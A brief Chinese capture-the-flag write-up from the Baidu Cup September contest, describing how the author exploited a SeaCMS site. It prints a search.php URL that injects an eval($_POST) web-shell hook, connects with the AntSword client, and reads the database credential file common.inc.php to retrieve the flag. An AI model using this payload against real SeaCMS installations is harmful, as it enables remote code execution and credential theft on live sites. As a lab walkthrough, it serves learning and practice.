看了大佬的wp之后才知道是 海洋CMS漏洞CMS就是内容管理系统构造url/search.php?searchtype=5&tid=&area=eval($_POST@[1])蚁剑连接

百度杯”CTF比赛 九月场 test-1.png

进去扒扒数据  找不到flag啊在这个目录里看一下数据库配置信息 /var/www/html/data/common.inc.php

百度杯”CTF比赛 九月场 test-2.png

给出了账户密码 那进一下数据库看一下找到flag目录 执行后找到flag

百度杯”CTF比赛 九月场 test-3.png

上一篇：海洋cms【自然框架】海洋CMS之数据库设计

下一篇：海洋cms对接微信公众号